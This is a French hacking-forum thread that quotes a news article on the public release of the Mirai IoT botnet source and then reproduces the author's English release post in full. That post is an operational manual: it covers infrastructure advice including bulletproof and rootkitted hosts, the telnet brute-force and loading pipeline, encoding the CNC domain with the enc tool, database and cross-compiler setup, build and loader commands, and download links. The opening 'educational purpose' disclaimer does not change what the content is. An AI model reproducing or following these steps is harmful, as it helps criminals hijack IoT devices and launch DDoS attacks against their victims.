Annonce

Réduire
Aucune annonce.

Mirai Bot IOT code source

Réduire
X
 
  • Filtre
  • Heure
  • Afficher
Tout nettoyer
nouveaux messages

  • Mirai Bot IOT code source

    Le partage de ce code source est purement à but éducatif.

    "Un pirate a publié le code source de Mirai, le botnet qui s’est appuyé sur l’internet des objets pour lancer l’attaque de déni de service qui a mis hors ligne le site KrebsOnSecurity le mois dernier. Mirai se déploie sur des dispositifs vulnérables en analysant en continu internet pour rechercher des systèmes connectés protégés par les identifiants attribués par défaut ou codés directement dans les systèmes. Les dispositifs vulnérables sont alors attaqués par le logiciel qui les transforme en bots, les obligeant à communiquer avec un serveur de contrôle central qui peut être utilisé comme lieu de préparation pour lancer des attaques DDoS puissantes qui peuvent entre autres paralyser un site.

    Sur le forum spécialisé Hackforum, le pirate s’est présenté comme étant l’utilisateur Anna-sempai et a expliqué avoir publié le code source en réponse à une surveillance accrue de l’industrie de la sécurité. « Quand je me suis lancé dans l’industrie du DDoS, je n’avais pas l’intention d’y rester longtemps », a commencé Anna-sempai. « J’ai fait de l’argent. Il y a beaucoup d’yeux rivés sur l’internet des objets désormais, alors il est temps de se casser », a-t-il continué.

    « Aujourd’hui, j’ai une publication exceptionnelle pour vous. Avec Mirai, je rassemble habituellement 380 000 bots au max uniquement sur telnet », mais les mesures qui sont progressivement prises par les FAI après l’attaque DDoS lancée contre Krebs font « qu’aujourd’hui, mon botnet est constitué d'environ 300 000 bots au maximum » et le nombre continue de diminuer.


    Des sources ont confié à KrebsOnSecurity que Mirai fait partie des deux familles de logiciels malveillants qui sont actuellement utilisés pour constituer rapidement une armée de bots d’objets connectés à internet. L'autre souche dominante dans les logiciels malveillants s’attaquant aux objets connectés est baptisée « Bashlight ». Cette famille fonctionne de la même manière que Mirai en terme de vecteur d’infection : elle pénètre les systèmes en se servant des identifiants (noms d’utilisateur et mot de passe) laissés par défaut sur les dispositifs.

    Selon une étude du cabinet de sécurité Level3 Communications, les réseaux zombies Bashlight sont constitués de près d'un million de dispositifs connectés à internet. « Les deux visent la même exposition des appareils connectés et, dans de nombreux cas, les mêmes dispositifs », a déclaré Dale Drew, chef de la sécurité de Level3. D’ailleurs, selon le cabinet de sécurité, c’est un logiciel malveillant de la famille de Mirai qui a frappé KrebsOnSecurity avec un trafic de 620 Gbps et un autre qui a frappé l’hébergeur OVH avec un pic dépassant le téra octet par seconde.

    Du côté de Dr Web, les chercheurs en sécurité déclarent « qu’il existe déjà une forte augmentation des opérateurs de réseaux de zombies qui tentent de trouver et d'exploiter des dispositifs connectés afin d'avoir accès à des réseaux de botnets uniformes et considérables. Ces botnets sont largement utilisés dans des campagnes qui fournissent d’importants revenus aux opérateurs ainsi que la capacité à passer plus de temps à améliorer leurs capacités et à ajouter des couches supplémentaires de sophistication.

    En publiant ce code source, cela va sans aucun doute conduire à une hausse des opérateurs de réseaux de zombies qui vont utiliser ce code pour lancer des attaques contre des consommateurs et de petites entreprises avec des objets connectés compromis. Et tandis que la plupart des objets actuels compromis l'ont été sur un exploit telnet très spécifique, je prédis que les opérateurs de botnets désireux de commander plusieurs centaines de milliers de nœuds-botnet seront à la recherche d'un plus grand inventaire d’exploits IdO dont ils peuvent tirer partie. Cela pourrait être le début d'une vague d'attaques contre les dispositifs IdO dans l'espace des consommateurs ».

    Comme pour donner du crédit à ce que Dr Web a déclaré, un expert en sécurité, qui a désiré conserver l’anonymat, a déclaré à KrebsOnSecurity avoir lui aussi examiné le code source de Mirai qui a été porté à la connaissance du public. Il a confirmé que ce code inclut une section qui permet de coordonner des attaques GRE (generic routing encapsulation ou Encapsulation Générique de Routage, un protocole de mise en tunnel qui permet d'encapsuler n'importe quel paquet de la couche réseau). D’ailleurs KrebsOnSecurity partage la projection de Dr Web et estime que nous assisterons bientôt à une recrudescence des attaques de ce type."


    Source : Developpez.com

    Code source du bot : https://github.com/jgamblin/Mirai-Source-Code

    "Greetz everybody,

    When I first go in DDoS industry, I wasn't planning on staying in it long. I made my money, there's lots of eyes looking at IOT now, so it's time to GTFO. However, I know every skid and their mama, it's their wet dream to have something besides qbot.

    So today, I have an amazing release for you. With Mirai, I usually pull max 380k bots from telnet alone. However, after the Kreb DDoS, ISPs been slowly shutting down and cleaning up their act. Today, max pull is about 300k bots, and dropping.

    So, I am your senpai, and I will treat you real nice, my hf-chan.

    And to everyone that thought they were doing anything by hitting my CNC, I had good laughs, this bot uses domain for CNC. It takes 60 seconds for all bots to reconnect,

    Also, shoutout to this blog post by malwaremustdie

    Had a lot of respect for you, thought you were good reverser, but you really just completely and totally failed in reversing this binary. "We still have better kung fu than you kiddos" don't make me laugh please, you made so many mistakes and even confused some different binaries with my.

    Let me give you some slaps back -
    1. port 48101 is not for back connect, it is for control to prevent multiple instances of bot running together
    2. /dev/watchdog and /dev/misc are not for "making the delay", it for preventing system from hanging. This one is low-hanging fruit, so sad that you are extremely dumb
    3. You failed and thought FAKE_CNC_ADDR and FAKE_CNC_PORT was real CNC, "And doing the backdoor to connect via HTTP on 65.222.202.53". you got tripped up by signal flow try harder skiddo
    4. Your skeleton tool sucks ass, it thought the attack decoder was "sinden style", but it does not even use a text-based protocol? CNC and bot communicate over binary protocol
    5. you say 'chroot("/") so predictable like torlus' but you don't understand, some others kill based on cwd. It shows how out-of-the-loop you are with real malware. Go back to skidland
    5 slaps for you

    Why are you writing reverse engineer tools? You cannot even correctly reverse in the first place. Please learn some skills first before trying to impress others. Your arrogance in declaring how you "beat me" with your dumb kung-fu statement made me laugh so hard while eating my SO had to pat me on the back.

    Just as I forever be free, you will be doomed to mediocracy forever.
    Requirements

    Bare Minimum

    2 servers: 1 for CNC + mysql, 1 for scan receiver, and 1+ for loading Pro Setup (my setup)

    2 VPS and 4 servers
    • 1 VPS with extremely bulletproof host for database server
    • 1 VPS, rootkitted, for scanReceiver and distributor
    • 1 server for CNC (used like 2% CPU with 400k bots)
    • 3x 10gbps NForce servers for loading (distributor distributes to 3 servers equally)
    Infrastructure Overview

    • To establish connection to CNC, bots resolve a domain (resolv.c/resolv.h) and connect to that IP address
    • Bots brute telnet using an advanced SYN scanner that is around 80x faster than the one in qbot, and uses almost 20x less resources. When finding bruted result, bot resolves another domain and reports it. This is chained to a separate server to automatically load onto devices as results come in.
    • Bruted results are sent by default on port 48101. The utility called scanListen.go in tools is used to receive bruted results (I was getting around 500 bruted results per second at peak). If you build in debug mode, you should see the utitlity scanListen binary appear in debug folder.

    Mirai uses a spreading mechanism similar to self-rep, but what I call "real-time-load". Basically, bots brute results, send it to a server listening with scanListen utility, which sends the results to the loader. This loop (brute -> scanListen -> load -> brute) is known as real time loading.

    The loader can be configured to use multiple IP address to bypass port exhaustion in linux (there are limited number of ports available, which means that there is not enough variation in tuple to get more than 65k simultaneous outbound connections - in theory, this value lot less). I would have maybe 60k - 70k simultaneous outbound connections (simultaneous loading) spread out across 5 IPs.
    Configuring Bot

    Bot has several configuration options that are obfuscated in table.c/table.h. In ./mirai/bot/table.h you can find most descriptions for configuration options. However, in ./mirai/bot/table.c there are a few options you need to change to get working.
    • TABLE_CNC_DOMAIN - Domain name of CNC to connect to - DDoS avoidance very fun with mirai, people try to hit my CNC but I update it faster than they can find new IPs, . Retards
    • TABLE_CNC_PORT - Port to connect to, its set to 23 already
    • TABLE_SCAN_CB_DOMAIN - When finding bruted results, this domain it is reported to
    • TABLE_SCAN_CB_PORT - Port to connect to for bruted results, it is set to 48101 already.
    In ./mirai/tools you will find something called enc.c - You must compile this to output things to put in the table.c file

    Run this inside mirai directory

    ./build.sh debug telnet You will get some errors related to cross-compilers not being there if you have not configured them. This is ok, won't affect compiling the enc tool

    Now, in the ./mirai/debug folder you should see a compiled binary called enc. For example, to get obfuscated string for domain name for bots to connect to, use this:

    ./debug/enc string fuck.the.police.com The output should look like this
    XOR'ing 20 bytes of data... \x44\x57\x41\x49\x0C\x56\x4A\x47\x0C\x52\x4D\x4E\x4B\x41\x47\x0C\x41\x4D\x4F\x22 To update the TABLE_CNC_DOMAIN value for example, replace that long hex string with the one provided by enc tool. Also, you see XOR'ing 20 bytes of data. This value must replace the last argument tas well. So for example, the table.c line originally looks like this
    add_entry(TABLE_CNC_DOMAIN, "\x41\x4C\x41\x0C\x41\x4A\x43\x4C\x45\x47\x4F\x47\x0C\x41\x4D\x4F\x22", 30); // cnc.changeme.com Now that we know value from enc tool, we update it like this
    add_entry(TABLE_CNC_DOMAIN, "\x44\x57\x41\x49\x0C\x56\x4A\x47\x0C\x52\x4D\x4E\x4B\x41\x47\x0C\x41\x4D\x4F\x22", 20); // fuck.the.police.com Some values are strings, some are port (uint16 in network order / big endian). Configuring CNC

    apt-get install mysql-server mysql-client CNC requires database to work. When you install database, go into it and run following commands: http://pastebin.com/86d0iL9g (ref: db.sql)

    This will create database for you. To add your user,

    INSERT INTO users VALUES (NULL, 'anna-senpai', 'myawesomepassword', 0, 0, 0, 0, -1, 1, 30, ''); Now, go into file ./mirai/cnc/main.go

    Edit these values

    const DatabaseAddr string = "127.0.0.1" const DatabaseUser string = "root" const DatabasePass string = "password" const DatabaseTable string = "mirai" To the information for the mysql server you just installed Setting Up Cross Compilers

    Cross compilers are easy, follow the instructions at this link to set up. You must restart your system or reload .bashrc file for these changes to take effect.

    http://pastebin.com/1rRCc3aD (ref: cross-compile.sh)
    Building CNC+Bot

    The CNC, bot, and related tools:
    1. http://santasbigcandycane.cx/mirai.src.zip - THESE LINKS WILL NOT LAST FOREVER, 2 WEEKS MAX - BACK IT UP!
    2. http://santasbigcandycane.cx/loader.src.zip - THESE LINKS WILL NOT LAST FOREVER, 2 WEEKS MAX - BACK IT UP!
    How to build bot + CNC

    In mirai folder, there is build.sh script.
    ./build.sh debug telnet Will output debug binaries of bot that will not daemonize and print out info about if it can connect to CNC, etc, status of floods, etc. Compiles to ./mirai/debug folder
    ./build.sh release telnet Will output production-ready binaries of bot that are extremely stripped, small (about 60K) that should be loaded onto devices. Compiles all binaries in format: mirai.$ARCH to ./mirai/release folder Building Echo Loader

    Loader reads telnet entries from STDIN in following format:
    iport userass It detects if there is wget or tftp, and tries to download the binary using that. If not, it will echoload a tiny binary (about 1kb) that will suffice as wget.
    ./build.sh Will build the loader, optimized, production use, no fuss. If you have a file in formats used for loading, you can do this
    cat file.txt | ./loader Remember to ulimit!

    Just so it's clear, I'm not providing any kind of 1 on 1 help tutorials or shit, too much time. All scripts and everything are included to set up working botnet in under 1 hours. I am willing to help if you have individual questions (how come CNC not connecting to database, I did this this this blah blah), but not questions like "My bot not connect, fix it" "

    " Une teuf sans drogue c'est comme une levrette sans fessé, c'est quand même rare. "

    †|

  • #2
    Thx, j'ai pas eu l'occas d'y jeter un oeil, il faudrait que je le fasse...


    Suivre Hackademics: Twitter, Google+, Facebook.

    Commentaire


    • #3
      Merci pour le partage

      Commentaire


      • #4
        Merci
        @bioshock
        Twitter: @ContactBioshock
        Mail: [email protected]

        Commentaire

        Chargement...
        X